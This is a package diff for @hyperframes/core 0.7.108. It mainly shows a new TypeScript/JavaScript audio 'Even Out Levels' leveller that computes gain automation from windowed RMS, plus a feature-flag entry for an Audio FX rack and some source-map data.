@hyperframes/core 0.7.107 → 0.7.108
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/audio/audioFxAutomation.d.ts +63 -0
- package/dist/audio/audioFxAutomation.d.ts.map +1 -0
- package/dist/audio/audioFxAutomation.js +219 -0
- package/dist/audio/audioFxAutomation.js.map +1 -0
- package/dist/audio/audioFxGraph.d.ts +73 -0
- package/dist/audio/audioFxGraph.d.ts.map +1 -0
- package/dist/audio/audioFxGraph.js +649 -0
- package/dist/audio/audioFxGraph.js.map +1 -0
- package/dist/audio/audioFxTail.d.ts +28 -0
- package/dist/audio/audioFxTail.d.ts.map +1 -0
- package/dist/audio/audioFxTail.js +95 -0
- package/dist/audio/audioFxTail.js.map +1 -0
- package/dist/audio/audioFxWorklets.d.ts +8 -0
- package/dist/audio/audioFxWorklets.d.ts.map +1 -0
- package/dist/audio/audioFxWorklets.js +263 -0
- package/dist/audio/audioFxWorklets.js.map +1 -0
- package/dist/audioAutomation.d.ts +191 -0
- package/dist/audioAutomation.d.ts.map +1 -0
- package/dist/audioAutomation.js +488 -0
- package/dist/audioAutomation.js.map +1 -0
- package/dist/audioCarve.d.ts +216 -0
- package/dist/audioCarve.d.ts.map +1 -0
- package/dist/audioCarve.js +608 -0
- package/dist/audioCarve.js.map +1 -0
- package/dist/audioFx.d.ts +182 -0
- package/dist/audioFx.d.ts.map +1 -0
- package/dist/audioFx.js +813 -0
- package/dist/audioFx.js.map +1 -0
- package/dist/audioFxCopy.d.ts +89 -0
- package/dist/audioFxCopy.d.ts.map +1 -0
- package/dist/audioFxCopy.js +340 -0
- package/dist/audioFxCopy.js.map +1 -0
- package/dist/audioFxEq.d.ts +75 -0
- package/dist/audioFxEq.d.ts.map +1 -0
- package/dist/audioFxEq.js +153 -0
- package/dist/audioFxEq.js.map +1 -0
- package/dist/audioFxJobs.d.ts +52 -0
- package/dist/audioFxJobs.d.ts.map +1 -0
- package/dist/audioFxJobs.js +92 -0
- package/dist/audioFxJobs.js.map +1 -0
- package/dist/audioFxPresets.d.ts +91 -0
- package/dist/audioFxPresets.d.ts.map +1 -0
- package/dist/audioFxPresets.js +320 -0
- package/dist/audioFxPresets.js.map +1 -0
- package/dist/audioFxProfiles.d.ts +65 -0
- package/dist/audioFxProfiles.d.ts.map +1 -0
- package/dist/audioFxProfiles.js +209 -0
- package/dist/audioFxProfiles.js.map +1 -0
- package/dist/audioLeveller.d.ts +62 -0
- package/dist/audioLeveller.d.ts.map +1 -0
- package/dist/audioLeveller.js +208 -0
- package/dist/audioLeveller.js.map +1 -0
- package/dist/canaryRegistry.d.ts.map +1 -1
- package/dist/canaryRegistry.js +8 -0
- package/dist/canaryRegistry.js.map +1 -1
- package/dist/compiler/compositionScoping.d.ts +3 -0
- package/dist/compiler/compositionScoping.d.ts.map +1 -1
- package/dist/compiler/compositionScoping.js +34 -11
- package/dist/compiler/compositionScoping.js.map +1 -1
- package/dist/compiler/htmlBundler.d.ts.map +1 -1
- package/dist/compiler/htmlBundler.js +42 -2
- package/dist/compiler/htmlBundler.js.map +1 -1
- package/dist/editing/affordances.d.ts +3 -0
- package/dist/editing/affordances.d.ts.map +1 -1
- package/dist/editing/affordances.js +1 -0
- package/dist/editing/affordances.js.map +1 -1
- package/dist/generated/audio-fx-runtime-inline.d.ts +3 -0
- package/dist/generated/audio-fx-runtime-inline.d.ts.map +1 -0
- package/dist/generated/audio-fx-runtime-inline.js +7 -0
- package/dist/generated/audio-fx-runtime-inline.js.map +1 -0
- package/dist/generated/runtime-inline.js +1 -1
- package/dist/generated/runtime-inline.js.map +1 -1
- package/dist/hyperframe.runtime.iife.js +238 -28
- package/dist/runtime/applyVariableBindings.d.ts +45 -0
- package/dist/runtime/applyVariableBindings.d.ts.map +1 -0
- package/dist/runtime/applyVariableBindings.js +194 -0
- package/dist/runtime/applyVariableBindings.js.map +1 -0
- package/dist/runtime/audioAutomationVolume.d.ts +17 -0
- package/dist/runtime/audioAutomationVolume.d.ts.map +1 -0
- package/dist/runtime/audioAutomationVolume.js +49 -0
- package/dist/runtime/audioAutomationVolume.js.map +1 -0
- package/dist/runtime/media.d.ts.map +1 -1
- package/dist/runtime/media.js +17 -1
- package/dist/runtime/media.js.map +1 -1
- package/dist/runtime/variableScope.d.ts +9 -0
- package/dist/runtime/variableScope.d.ts.map +1 -0
- package/dist/runtime/variableScope.js +21 -0
- package/dist/runtime/variableScope.js.map +1 -0
- package/package.json +51 -6
|
@@ -0,0 +1,62 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* "Even Out Levels" — the first of the adaptive scripts.
|
|
3
|
+
*
|
|
4
|
+
* A preset cannot fix inconsistent loudness, because the right correction
|
|
5
|
+
* depends on the recording. So this measures the track and writes an automation
|
|
6
|
+
* lane that lifts the quiet passages toward the loud ones, exactly as the carve
|
|
7
|
+
* measures a voice and writes its bands.
|
|
8
|
+
*
|
|
9
|
+
* It is NOT loudness normalisation. Platform targets (-14 LUFS and friends) are
|
|
10
|
+
* ITU-R BS.1770 — K-weighted and gated — and this is plain windowed RMS, so
|
|
11
|
+
* calling it LUFS would be a claim the measurement does not support. It is
|
|
12
|
+
* named for what it does: evening out.
|
|
13
|
+
*
|
|
14
|
+
* ## Why the lane rides a `gain` node
|
|
15
|
+
*
|
|
16
|
+
* The obvious home is the track's volume lane, and that cannot work: volume is
|
|
17
|
+
* 0..1 and `normaliseEnvelope` clamps every keyframe into it, so a volume lane
|
|
18
|
+
* can only ever attenuate. Lifting a quiet passage needs a `gain` node, which
|
|
19
|
+
* spans -60..+12 dB — which is what the audio skill means when it calls `gain`
|
|
20
|
+
* "what an automation lane rides when a track has to move".
|
|
21
|
+
*/
|
|
22
|
+
import { type HfAutomation, type HfAutomationPoint } from "./audioAutomation.js";
|
|
23
|
+
import { type HfAudioFxChain } from "./audioFx.js";
|
|
24
|
+
export interface HfLevellerSettings {
|
|
25
|
+
/** 0 = leave it alone, 1 = as even as this can make it. */
|
|
26
|
+
strength: number;
|
|
27
|
+
}
|
|
28
|
+
export declare const DEFAULT_LEVELLER: HfLevellerSettings;
|
|
29
|
+
export interface HfLevellerProfile {
|
|
30
|
+
/** How much of the measured difference to correct. */
|
|
31
|
+
correction: number;
|
|
32
|
+
}
|
|
33
|
+
/**
|
|
34
|
+
* One knob to a profile, the shape `carveProfile` established.
|
|
35
|
+
*
|
|
36
|
+
* At full strength this still corrects only most of the difference: driving a
|
|
37
|
+
* track to a flat line removes the performance along with the inconsistency.
|
|
38
|
+
*/
|
|
39
|
+
export declare function levellerProfile(strength: number): HfLevellerProfile;
|
|
40
|
+
/**
|
|
41
|
+
* Measure a track and return the gain moves that even it out, in dB against
|
|
42
|
+
* clip-local seconds. Empty when there is nothing worth correcting.
|
|
43
|
+
*/
|
|
44
|
+
export declare function analyseLevelling(samples: Float32Array, sampleRate: number, strength?: number): HfAutomationPoint[];
|
|
45
|
+
/**
|
|
46
|
+
* The chain and lane for "Even Out Levels".
|
|
47
|
+
*
|
|
48
|
+
* Returns nothing when the track needs no correcting — a script that always
|
|
49
|
+
* writes something teaches an author that it is doing nothing.
|
|
50
|
+
*/
|
|
51
|
+
export declare function levellingResult(chain: HfAudioFxChain, samples: Float32Array, sampleRate: number, strength?: number): {
|
|
52
|
+
chain: HfAudioFxChain;
|
|
53
|
+
automation: HfAutomation;
|
|
54
|
+
} | null;
|
|
55
|
+
/** Drop the leveller and say which lane went with it. */
|
|
56
|
+
export declare function removeLevelling(chain: HfAudioFxChain): {
|
|
57
|
+
chain: HfAudioFxChain;
|
|
58
|
+
removedTarget: string | null;
|
|
59
|
+
};
|
|
60
|
+
/** What the module says when it is closed. */
|
|
61
|
+
export declare function levellingSummary(points: readonly HfAutomationPoint[]): string;
|
|
62
|
+
//# sourceMappingURL=audioLeveller.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"audioLeveller.d.ts","sourceRoot":"","sources":["../src/audioLeveller.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;GAoBG;AAEH,OAAO,EAEL,KAAK,YAAY,EACjB,KAAK,iBAAiB,EACvB,MAAM,sBAAsB,CAAC;AAC9B,OAAO,EAIL,KAAK,cAAc,EAEpB,MAAM,cAAc,CAAC;AAgBtB,MAAM,WAAW,kBAAkB;IACjC,2DAA2D;IAC3D,QAAQ,EAAE,MAAM,CAAC;CAClB;AAED,eAAO,MAAM,gBAAgB,EAAE,kBAAsC,CAAC;AAEtE,MAAM,WAAW,iBAAiB;IAChC,sDAAsD;IACtD,UAAU,EAAE,MAAM,CAAC;CACpB;AAED;;;;;GAKG;AACH,wBAAgB,eAAe,CAAC,QAAQ,EAAE,MAAM,GAAG,iBAAiB,CAGnE;AAiBD;;;GAGG;AACH,wBAAgB,gBAAgB,CAC9B,OAAO,EAAE,YAAY,EACrB,UAAU,EAAE,MAAM,EAClB,QAAQ,SAA4B,GACnC,iBAAiB,EAAE,CAsErB;AAED;;;;;GAKG;AACH,wBAAgB,eAAe,CAC7B,KAAK,EAAE,cAAc,EACrB,OAAO,EAAE,YAAY,EACrB,UAAU,EAAE,MAAM,EAClB,QAAQ,SAA4B,GACnC;IAAE,KAAK,EAAE,cAAc,CAAC;IAAC,UAAU,EAAE,YAAY,CAAA;CAAE,GAAG,IAAI,CA4C5D;AAED,yDAAyD;AACzD,wBAAgB,eAAe,CAAC,KAAK,EAAE,cAAc,GAAG;IACtD,KAAK,EAAE,cAAc,CAAC;IACtB,aAAa,EAAE,MAAM,GAAG,IAAI,CAAC;CAC9B,CAMA;AAED,8CAA8C;AAC9C,wBAAgB,gBAAgB,CAAC,MAAM,EAAE,SAAS,iBAAiB,EAAE,GAAG,MAAM,CAS7E"}
|
|
@@ -0,0 +1,208 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* "Even Out Levels" — the first of the adaptive scripts.
|
|
3
|
+
*
|
|
4
|
+
* A preset cannot fix inconsistent loudness, because the right correction
|
|
5
|
+
* depends on the recording. So this measures the track and writes an automation
|
|
6
|
+
* lane that lifts the quiet passages toward the loud ones, exactly as the carve
|
|
7
|
+
* measures a voice and writes its bands.
|
|
8
|
+
*
|
|
9
|
+
* It is NOT loudness normalisation. Platform targets (-14 LUFS and friends) are
|
|
10
|
+
* ITU-R BS.1770 — K-weighted and gated — and this is plain windowed RMS, so
|
|
11
|
+
* calling it LUFS would be a claim the measurement does not support. It is
|
|
12
|
+
* named for what it does: evening out.
|
|
13
|
+
*
|
|
14
|
+
* ## Why the lane rides a `gain` node
|
|
15
|
+
*
|
|
16
|
+
* The obvious home is the track's volume lane, and that cannot work: volume is
|
|
17
|
+
* 0..1 and `normaliseEnvelope` clamps every keyframe into it, so a volume lane
|
|
18
|
+
* can only ever attenuate. Lifting a quiet passage needs a `gain` node, which
|
|
19
|
+
* spans -60..+12 dB — which is what the audio skill means when it calls `gain`
|
|
20
|
+
* "what an automation lane rides when a track has to move".
|
|
21
|
+
*/
|
|
22
|
+
import { fxAutomationTarget, } from "./audioAutomation.js";
|
|
23
|
+
import { HF_AUDIO_FX_CHAIN_VERSION, mintAudioFxNodeId, normalizeAudioFxParams, } from "./audioFx.js";
|
|
24
|
+
/** One window per emitted point; the hop keeps the lane inside its budget. */
|
|
25
|
+
const FRAME = 4096;
|
|
26
|
+
const POINT_BUDGET = 400;
|
|
27
|
+
/** Below this, a window is silence rather than a quiet passage worth lifting. */
|
|
28
|
+
const FLOOR_BELOW_PEAK_DB = 42;
|
|
29
|
+
/** How far a correction may go. Beyond this, lifting a whisper only lifts the room. */
|
|
30
|
+
const MAX_LIFT_DB = 12;
|
|
31
|
+
const MAX_CUT_DB = 12;
|
|
32
|
+
/** Ignore differences smaller than this — they are not audible and they add points. */
|
|
33
|
+
const SNAP_DB = 0.4;
|
|
34
|
+
/** Attack/release in seconds, so a correction rides the phrase and not the syllable. */
|
|
35
|
+
const ATTACK_S = 0.35;
|
|
36
|
+
const RELEASE_S = 0.9;
|
|
37
|
+
export const DEFAULT_LEVELLER = { strength: 0.5 };
|
|
38
|
+
/**
|
|
39
|
+
* One knob to a profile, the shape `carveProfile` established.
|
|
40
|
+
*
|
|
41
|
+
* At full strength this still corrects only most of the difference: driving a
|
|
42
|
+
* track to a flat line removes the performance along with the inconsistency.
|
|
43
|
+
*/
|
|
44
|
+
export function levellerProfile(strength) {
|
|
45
|
+
const s = Number.isFinite(strength) ? Math.min(1, Math.max(0, strength)) : 0.5;
|
|
46
|
+
return { correction: Number((0.25 + s * 0.6).toFixed(3)) };
|
|
47
|
+
}
|
|
48
|
+
/** Level in dB of one window, or -Infinity for silence. */
|
|
49
|
+
function windowDb(samples, from, count) {
|
|
50
|
+
let sum = 0;
|
|
51
|
+
let n = 0;
|
|
52
|
+
for (let i = from; i < from + count; i += 1) {
|
|
53
|
+
const s = samples[i];
|
|
54
|
+
if (s === undefined)
|
|
55
|
+
break;
|
|
56
|
+
sum += s * s;
|
|
57
|
+
n += 1;
|
|
58
|
+
}
|
|
59
|
+
if (n === 0)
|
|
60
|
+
return Number.NEGATIVE_INFINITY;
|
|
61
|
+
const rms = Math.sqrt(sum / n);
|
|
62
|
+
return rms > 0 ? 20 * Math.log10(rms) : Number.NEGATIVE_INFINITY;
|
|
63
|
+
}
|
|
64
|
+
/**
|
|
65
|
+
* Measure a track and return the gain moves that even it out, in dB against
|
|
66
|
+
* clip-local seconds. Empty when there is nothing worth correcting.
|
|
67
|
+
*/
|
|
68
|
+
export function analyseLevelling(samples, sampleRate, strength = DEFAULT_LEVELLER.strength) {
|
|
69
|
+
if (samples.length === 0 || sampleRate <= 0)
|
|
70
|
+
return [];
|
|
71
|
+
const profile = levellerProfile(strength);
|
|
72
|
+
const hop = Math.max(FRAME, Math.ceil(samples.length / POINT_BUDGET));
|
|
73
|
+
const levels = [];
|
|
74
|
+
const times = [];
|
|
75
|
+
for (let start = 0; start < samples.length; start += hop) {
|
|
76
|
+
levels.push(windowDb(samples, start, FRAME));
|
|
77
|
+
times.push((start + FRAME / 2) / sampleRate);
|
|
78
|
+
}
|
|
79
|
+
const speaking = levels.filter((d) => Number.isFinite(d));
|
|
80
|
+
if (speaking.length === 0)
|
|
81
|
+
return [];
|
|
82
|
+
const peak = Math.max(...speaking);
|
|
83
|
+
const floor = peak - FLOOR_BELOW_PEAK_DB;
|
|
84
|
+
/**
|
|
85
|
+
* The target is a level the track ALREADY REACHES — the 80th percentile of
|
|
86
|
+
* its speaking windows — not an absolute one.
|
|
87
|
+
*
|
|
88
|
+
* Anchoring it to an absolute figure means an already-even track gets pulled
|
|
89
|
+
* bodily up or down to meet it, which is a volume change wearing a
|
|
90
|
+
* levelling label. Against a level the track reaches, its loud passages
|
|
91
|
+
* correct to roughly nothing and only the quiet ones move, which is what
|
|
92
|
+
* evening out means. It is a percentile rather than the peak so one loud
|
|
93
|
+
* word cannot set the target for the whole track.
|
|
94
|
+
*/
|
|
95
|
+
const sorted = [...speaking].sort((a, b) => a - b);
|
|
96
|
+
const target = sorted[Math.min(sorted.length - 1, Math.floor(sorted.length * 0.8))] ?? peak;
|
|
97
|
+
const attack = 1 - Math.exp(-(hop / sampleRate) / ATTACK_S);
|
|
98
|
+
const release = 1 - Math.exp(-(hop / sampleRate) / RELEASE_S);
|
|
99
|
+
let applied = 0;
|
|
100
|
+
const raw = [];
|
|
101
|
+
levels.forEach((db, i) => {
|
|
102
|
+
// Silence is left alone. Lifting a pause only lifts the room with it.
|
|
103
|
+
const wanted = Number.isFinite(db) && db > floor
|
|
104
|
+
? Math.max(-MAX_CUT_DB, Math.min(MAX_LIFT_DB, (target - db) * profile.correction))
|
|
105
|
+
: 0;
|
|
106
|
+
applied += (wanted > applied ? attack : release) * (wanted - applied);
|
|
107
|
+
const v = Math.abs(applied) < SNAP_DB ? 0 : Number(applied.toFixed(1));
|
|
108
|
+
raw.push({ t: Number((times[i] ?? 0).toFixed(3)), v });
|
|
109
|
+
});
|
|
110
|
+
// Keep only the moves. A run of equal values is held by keeping the last of
|
|
111
|
+
// the run, or interpolation would slide across a passage that is steady.
|
|
112
|
+
const points = [];
|
|
113
|
+
let lastKept = 0;
|
|
114
|
+
let keptIndex = -1;
|
|
115
|
+
raw.forEach((pt, i) => {
|
|
116
|
+
if (i !== raw.length - 1 && Math.abs(pt.v - lastKept) < SNAP_DB)
|
|
117
|
+
return;
|
|
118
|
+
if (i > 0 && keptIndex !== i - 1) {
|
|
119
|
+
const prev = raw[i - 1];
|
|
120
|
+
if (prev)
|
|
121
|
+
points.push(prev);
|
|
122
|
+
}
|
|
123
|
+
points.push(pt);
|
|
124
|
+
lastKept = pt.v;
|
|
125
|
+
keptIndex = i;
|
|
126
|
+
});
|
|
127
|
+
// A lane of zeroes is not a correction, it is a lane that says nothing. An
|
|
128
|
+
// author who runs this on an even track should be told there was nothing to
|
|
129
|
+
// do, not handed an inert envelope to wonder about.
|
|
130
|
+
if (points.length === 0 || points.every((p) => p.v === 0))
|
|
131
|
+
return [];
|
|
132
|
+
// A lane's first point has to sit at the clip's start, or everything before
|
|
133
|
+
// it is drawn from wherever the first move happens to be.
|
|
134
|
+
if ((points[0]?.t ?? 0) > 0)
|
|
135
|
+
points.unshift({ t: 0, v: points[0]?.v ?? 0 });
|
|
136
|
+
return points;
|
|
137
|
+
}
|
|
138
|
+
/**
|
|
139
|
+
* The chain and lane for "Even Out Levels".
|
|
140
|
+
*
|
|
141
|
+
* Returns nothing when the track needs no correcting — a script that always
|
|
142
|
+
* writes something teaches an author that it is doing nothing.
|
|
143
|
+
*/
|
|
144
|
+
export function levellingResult(chain, samples, sampleRate, strength = DEFAULT_LEVELLER.strength) {
|
|
145
|
+
const points = analyseLevelling(samples, sampleRate, strength);
|
|
146
|
+
if (points.length === 0)
|
|
147
|
+
return null;
|
|
148
|
+
const existing = chain.nodes.find((n) => n.fromLeveller);
|
|
149
|
+
const id = existing?.id ?? mintAudioFxNodeId(chain);
|
|
150
|
+
const node = {
|
|
151
|
+
type: "gain",
|
|
152
|
+
id,
|
|
153
|
+
fromLeveller: true,
|
|
154
|
+
label: "Even Out Levels",
|
|
155
|
+
enabled: true,
|
|
156
|
+
// Seeded at 0 dB: the lane is what moves it, and a non-zero seed would be
|
|
157
|
+
// heard for the instant before the first ramp is scheduled.
|
|
158
|
+
params: normalizeAudioFxParams("gain", { gain: 0 }),
|
|
159
|
+
};
|
|
160
|
+
/**
|
|
161
|
+
* In FRONT of a trailing limiter, not after it.
|
|
162
|
+
*
|
|
163
|
+
* The likely sequence is "apply Clean Voice, then even out the levels", and
|
|
164
|
+
* Clean Voice ends in a Peak Ceiling. Appending would put up to 12 dB of lift
|
|
165
|
+
* AFTER the ceiling that exists to bound the chain — so every quiet-to-loud
|
|
166
|
+
* transition leaves residual lift on loud material sitting at -1 dBFS, and
|
|
167
|
+
* the render shears it flat. A ceiling that something is added after is not
|
|
168
|
+
* a ceiling.
|
|
169
|
+
*/
|
|
170
|
+
const insertAt = !existing && chain.nodes[chain.nodes.length - 1]?.type === "limiter"
|
|
171
|
+
? chain.nodes.length - 1
|
|
172
|
+
: chain.nodes.length;
|
|
173
|
+
return {
|
|
174
|
+
chain: {
|
|
175
|
+
version: HF_AUDIO_FX_CHAIN_VERSION,
|
|
176
|
+
nodes: existing
|
|
177
|
+
? chain.nodes.map((n) => (n.fromLeveller ? node : n))
|
|
178
|
+
: [...chain.nodes.slice(0, insertAt), node, ...chain.nodes.slice(insertAt)],
|
|
179
|
+
},
|
|
180
|
+
automation: {
|
|
181
|
+
version: 1,
|
|
182
|
+
lanes: [{ target: fxAutomationTarget(id, "gain"), points }],
|
|
183
|
+
},
|
|
184
|
+
};
|
|
185
|
+
}
|
|
186
|
+
/** Drop the leveller and say which lane went with it. */
|
|
187
|
+
export function removeLevelling(chain) {
|
|
188
|
+
const node = chain.nodes.find((n) => n.fromLeveller);
|
|
189
|
+
return {
|
|
190
|
+
chain: { ...chain, nodes: chain.nodes.filter((n) => !n.fromLeveller) },
|
|
191
|
+
removedTarget: node?.id ? fxAutomationTarget(node.id, "gain") : null,
|
|
192
|
+
};
|
|
193
|
+
}
|
|
194
|
+
/** What the module says when it is closed. */
|
|
195
|
+
export function levellingSummary(points) {
|
|
196
|
+
const moves = points.filter((p) => p.v !== 0);
|
|
197
|
+
if (moves.length === 0)
|
|
198
|
+
return "Already even — nothing to do";
|
|
199
|
+
const lift = Math.max(...moves.map((p) => p.v));
|
|
200
|
+
const cut = Math.min(...moves.map((p) => p.v));
|
|
201
|
+
const parts = [];
|
|
202
|
+
if (lift > 0)
|
|
203
|
+
parts.push(`lifting quiet parts up to ${lift.toFixed(1)} dB`);
|
|
204
|
+
if (cut < 0)
|
|
205
|
+
parts.push(`holding loud parts down ${Math.abs(cut).toFixed(1)} dB`);
|
|
206
|
+
return parts.join(", ");
|
|
207
|
+
}
|
|
208
|
+
//# sourceMappingURL=audioLeveller.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"audioLeveller.js","sourceRoot":"","sources":["../src/audioLeveller.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;GAoBG;AAEH,OAAO,EACL,kBAAkB,GAGnB,MAAM,sBAAsB,CAAC;AAC9B,OAAO,EACL,yBAAyB,EACzB,iBAAiB,EACjB,sBAAsB,GAGvB,MAAM,cAAc,CAAC;AAEtB,8EAA8E;AAC9E,MAAM,KAAK,GAAG,IAAI,CAAC;AACnB,MAAM,YAAY,GAAG,GAAG,CAAC;AACzB,iFAAiF;AACjF,MAAM,mBAAmB,GAAG,EAAE,CAAC;AAC/B,uFAAuF;AACvF,MAAM,WAAW,GAAG,EAAE,CAAC;AACvB,MAAM,UAAU,GAAG,EAAE,CAAC;AACtB,uFAAuF;AACvF,MAAM,OAAO,GAAG,GAAG,CAAC;AACpB,wFAAwF;AACxF,MAAM,QAAQ,GAAG,IAAI,CAAC;AACtB,MAAM,SAAS,GAAG,GAAG,CAAC;AAOtB,MAAM,CAAC,MAAM,gBAAgB,GAAuB,EAAE,QAAQ,EAAE,GAAG,EAAE,CAAC;AAOtE;;;;;GAKG;AACH,MAAM,UAAU,eAAe,CAAC,QAAgB;IAC9C,MAAM,CAAC,GAAG,MAA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CAAC;IAChD,MAAM,GAAG,GAAG,IAAI,CAAC,GAAG,CAAC,GAAG,KAAK,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC;IAC/C,MAAM,KAAK,GAAa,EAAE,CAAC;IAC3B,IAAI,IAAI,GAAG,CAAC;QAAE,KAAK,CAAC,IAAI,CAAC,6BAA6B,IAAI,CAAC,OAAO,CAAC,CAAC,CAAC,KAAK,CAAC,CAAC;IAC5E,IAAI,GAAG,GAAG,CAAC;QAAE,KAAK,CAAC,IAAI,CAAC,2BAA2B,IAAI,CAAC,GAAG,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,CAAC,CAAC,KAAK,CAAC,CAAC;IAClF,OAAO,KAAK,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;AAC1B,CAAC"}
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"canaryRegistry.d.ts","sourceRoot":"","sources":["../src/canaryRegistry.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;GA0BG;AAEH,MAAM,WAAW,gBAAgB;IAC/B,wFAAwF;IACxF,IAAI,EAAE,MAAM,CAAC;IACb,iDAAiD;IACjD,UAAU,EAAE,MAAM,CAAC;IACnB,0DAA0D;IAC1D,WAAW,EAAE,MAAM,CAAC;IACpB,kBAAkB;IAClB,KAAK,EAAE,MAAM,CAAC;IACd;;;;;;OAMG;IACH,WAAW,EAAE,MAAM,CAAC;CACrB;AAED,eAAO,MAAM,QAAQ,EAAE,SAAS,gBAAgB,
|
|
1
|
+
{"version":3,"file":"canaryRegistry.d.ts","sourceRoot":"","sources":["../src/canaryRegistry.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;GA0BG;AAEH,MAAM,WAAW,gBAAgB;IAC/B,wFAAwF;IACxF,IAAI,EAAE,MAAM,CAAC;IACb,iDAAiD;IACjD,UAAU,EAAE,MAAM,CAAC;IACnB,0DAA0D;IAC1D,WAAW,EAAE,MAAM,CAAC;IACpB,kBAAkB;IAClB,KAAK,EAAE,MAAM,CAAC;IACd;;;;;;OAMG;IACH,WAAW,EAAE,MAAM,CAAC;CACrB;AAED,eAAO,MAAM,QAAQ,EAAE,SAAS,gBAAgB,EA4CtC,CAAC;AAEX,wBAAgB,UAAU,CAAC,IAAI,EAAE,MAAM,GAAG,gBAAgB,GAAG,SAAS,CAErE;AAED,2GAA2G;AAC3G,wBAAgB,YAAY,CAAC,IAAI,EAAE,MAAM,GAAG,MAAM,CAEjD;AAED;;;;GAIG;AACH,wBAAgB,eAAe,CAAC,GAAG,GAAE,IAAiB,GAAG,MAAM,EAAE,CAQhE"}
|
package/dist/canaryRegistry.js
CHANGED
|
@@ -59,6 +59,14 @@ export const CANARIES = [
|
|
|
59
59
|
owner: "vance",
|
|
60
60
|
sunsetAfter: "2026-09-15",
|
|
61
61
|
},
|
|
62
|
+
// ── Audio FX ─────────────────────────────────────────────────────────────
|
|
63
|
+
{
|
|
64
|
+
name: "audio-fx-rack",
|
|
65
|
+
percentage: 0,
|
|
66
|
+
description: "Show the Audio FX rack on audio tracks in Studio — effects, presets, the voiceover carve and levelling. Gates the AUTHORING surface only: a composition that already carries data-fx-chain still plays and renders it, because a canary should stage who can reach a feature, not make a written attribute silently inert.",
|
|
67
|
+
owner: "vance",
|
|
68
|
+
sunsetAfter: "2026-11-15",
|
|
69
|
+
},
|
|
62
70
|
];
|
|
63
71
|
export function findCanary(name) {
|
|
64
72
|
return CANARIES.find((c) => c.name === name);
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"canaryRegistry.js","sourceRoot":"","sources":["../src/canaryRegistry.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;GA0BG;AAqBH,MAAM,CAAC,MAAM,QAAQ,GAAgC;IACnD,4EAA4E;IAC5E,2EAA2E;IAC3E,yEAAyE;IACzE,oDAAoD;IACpD,EAAE;IAC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;AACH,MAAM,UAAU,eAAe,CAAC,MAAY,IAAI,IAAI,EAAE;IACpD,OAAO,QAAQ,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,EAAE;QAC3B,uEAAuE;QACvE,2EAA2E;QAC3E,2EAA2E;QAC3E,MAAM,SAAS,GAAG,IAAI,CAAC,KAAK,CAAC,GAAG,CAAC,CAAC,WAAW,gBAAgB,CAAC,CAAC;QAC/D,OAAO,MAAM,CAAC,QAAQ,CAAC,SAAS,CAAC,IAAI,GAAG,CAAC,OAAO,EAAE,GAAG,SAAS,CAAC;IACjE,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,IAAI,CAAC,CAAC;AACxB,CAAC"}
|
|
@@ -17,6 +17,9 @@ export declare function wrapInlineScriptWithErrorBoundary(source: string, errorL
|
|
|
17
17
|
* `getVariables()` returned `{}` only during render — parametrized sub-comps
|
|
18
18
|
* silently shipped blank/default text in the final MP4 while snapshot QA passed
|
|
19
19
|
* (issue #2064). Both callers now share this one builder so they can't drift.
|
|
20
|
+
*
|
|
21
|
+
* Values, keys and composition ids are all attacker-reachable, so the whole
|
|
22
|
+
* table goes through `jsonScriptLiteral` — see there for why.
|
|
20
23
|
*/
|
|
21
24
|
export declare function buildVariablesByCompScript(variablesByComp: Record<string, Record<string, unknown>>): string | null;
|
|
22
25
|
//# sourceMappingURL=compositionScoping.d.ts.map
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"compositionScoping.d.ts","sourceRoot":"","sources":["../../src/compiler/compositionScoping.ts"],"names":[],"mappings":"AA4NA,wBAAgB,qBAAqB,CACnC,GAAG,EAAE,MAAM,EACX,aAAa,EAAE,MAAM,EACrB,qBAAqB,CAAC,EAAE,MAAM,EAC9B,cAAc,CAAC,EAAE,MAAM,GAAG,IAAI,EAC9B,OAAO,CAAC,EAAE;IAAE,oBAAoB,CAAC,EAAE,OAAO,CAAC;IAAC,kBAAkB,CAAC,EAAE,OAAO,CAAA;CAAE,GACzE,MAAM,CAwBR;
|
|
1
|
+
